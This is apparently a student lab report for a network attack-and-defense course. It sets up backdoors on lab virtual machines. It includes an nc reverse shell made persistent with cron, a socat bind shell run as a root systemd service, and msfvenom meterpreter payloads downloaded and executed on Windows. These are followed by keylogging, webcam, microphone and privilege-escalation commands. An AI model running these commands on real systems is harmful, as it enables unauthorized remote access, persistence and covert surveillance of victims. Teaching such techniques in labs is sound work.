20232403 2025-2026-1 《网络与系统攻防技术》实验二实验报告

20232403 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1netcat和cron协同进行后门入侵的意义

netcat在目标主机上监听端口等待连接，并创建网络连接，提供远程shell访问，但是这种连接是单次的、临时的，具有诸多局限性，此时cron就有存在的意义了，在cron任务列表中可以设置持续性任务，每分钟甚至每秒都可以重复运行任务，使得后门具有了“持久性”。

2.实验过程

2.1

2.1.1环境准备

在eth0网络接口的信息中，有一行：inet 192.168.19.129/24，这里的192.168.19.129就是Kali系统的IPv4地址。

后门攻击需要两台电脑在同一网段，因此选用和Kali在同一网段的IP地址：192.168.19.1作为实验ip。

2.1.2在windows上准备netcat

2.1.3创建后门脚本

nano /tmp/backdoor.sh
在编辑器输入：
bash
#!/bin/bash
/bin/nc 192.168.19.1 4444 -e /bin/bash
其中，#!/bin/bash是指定脚本解释器，告诉系统这个脚本使用/bin/bash来执行
/bin/nc 192.168.19.1 4444 -e /bin/bash是找到连接目标并执行程序。
给脚本执行权限：
chmod +x /tmp/backdoor.sh

2.1.4设置cron定时任务

crontab -e
利用这句命令，编辑当前用户的cron任务表，在文件末尾插入：
* * * * * /tmp/backdoor.sh
这句话的实际含义是，每分钟建立一个shell，其中，设置每分钟的意义是即使后门被杀死，也可以不久再建立一个shell。
crontab -l

可以看到，终端列出了当前用户的cron任务，再任务列表的末尾，是我们插入的* * * * * /tmp/backdoor.sh

2.1.5在windows上设置监听

可以看到，Kali成功连接到Windows的4444端口，而连接来自端口56890。
我们在Windows的powershell中获得了Kali用户的shell权限，可以执行任意Linux命令。

2.2使用socat获取主机操作Shell，并通过任务计划启动。

2.2.1创建后门脚本

在openEuler上创建后门脚本：
sudo nano /usr/local/bin/backdoor.sh
脚本内容：
#!/bin/bash
while true; do
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sane
sleep 5
done
这个脚本可以持久地建立后门，while true; do开启了一个无限循环，确保后门持续运行
给脚本执行权限：
sudo chmod +x /usr/local/bin/backdoor.sh

2.2.2使用cron设置开机自启动

编辑crontab：sudo crontab -e
添加以下行：
@reboot /usr/local/bin/backdoor.sh
其中，@reboot是cron的特殊时间关键字，表示"在系统启动时"执行
询问AI，有一个更高级的方法是创建systemd系统服务：
创建service文件：sudo nano /etc/systemd/system/backdoor.service
服务文件内容：
[Unit]
Description=Backdoor Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/backdoor.sh
Restart=always
RestartSec=5
User=root

[Install]
WantedBy=multi-user.target
启用服务：
sudo systemctl daemon-reload
sudo systemctl enable backdoor.service
sudo systemctl start backdoor.service

2.2.3测试后门连接

在Kali虚拟机中连接openEuler的后门：
socat - TCP:192.168.19.131:4444

连接成功，可以使用Linux系统命令，并获取靶机信息。

且由于后门程序设置开机自启动，靶机重启后仍能进行监听。

2.3使用MSF meterpreter（或其他软件）生成可执行文件（后门），利用ncat或socat传送到主机并运行获取主机Shell。

2.3.1在Kali上生成后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=4444 -f exe -o backdoor_final.exe

2.3.2启动HTTP文件服务器

开启新终端，运行：
python3 -m http.server 8888

2.3.3设置Metasploit监听器

再开启一个新终端：
msfconsole
在msfconsole中输入：
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.19.129
set LPORT 4444
exploit

2.3.4下载并运行后门

在windows powershell中：
Invoke-WebRequest -Uri "http://192.168.19.129:8888/backdoor_final.exe" -OutFile "test.exe"
.\test.exe

2.3.5检查连接

回到Kali的Metasploit窗口，你应该看到Meterpreter会话建立。然后执行：
sessions -i 1
shell

可以看到，已成功获取windows系统shell的运行权限。

2.4使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容的后门，并尝试提权。

2.4.1在kali终端生成后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=6666 -f exe -o exp4.exe

2.4.2启动HTTP服务器

python3 -m http.server 9999

2.4.3设置Metasploit监听

msfconsole
在msfconsole中依次输入：
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.19.129
set LPORT 6666
exploit

2.4.4在windows上下载并执行

cd $HOME
Invoke-WebRequest -Uri "http://192.168.19.129:9999/exp4.exe" -OutFile "run.exe"
.\run.exe

2.4.5基础信息收集

当Metasploit显示会话建立后，在msfconsole中执行：
sysinfo
getuid
screenshot

2.4.6键盘记录

keyscan_start
在windows上输入文字

keyscan_dump
keyscan_stop

2.4.7权限提升

getsystem
getuid

摄像头操作

webcam_list
webcam_snap -i 1

音频录制

record_mic -d 10

键盘记录

keyscan_start
keyscan_dump
keyscan_stop

其他系统信息

run post/windows/gather/checkvm
run post/multi/gather/env

kali桌面上已保存相关信息

3.问题及解决方案

• 问题1：在windows系统下安装netcat失败

2.3.3设置Metasploit监听器

msfconsole

• 问题1解决方案：先考虑是防火墙拦截，检查并关闭了防火墙和实时检查，还是无法下载。询问AI，AI回答可以以管理员身份运行powershell，使用命令行Invoke-WebRequest -Uri "https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip" -OutFile "C:\nc.zip" 直接下载。尝试了一下，成功了，得以顺利完成任务一
• 问题2：在windows系统下安装socat失败
• 问题2解决方案：windows系统装不上socat，很多同学都有这个问题，我无法正面解决这个问题，但是选择迂回了一下，新开了一台虚拟机，用别的系统（openEuler）进行任务二，得以顺利完成。
• 问题3：使用MSF meterpreter进行获取shell时，在windows系统表明“表明文件被其他进程锁定了”
• 问题3解决方案：排查多个方面，例如防火墙、权限不够等，最后在关闭防病毒软件后成功了。
  

4.学习感悟、思考等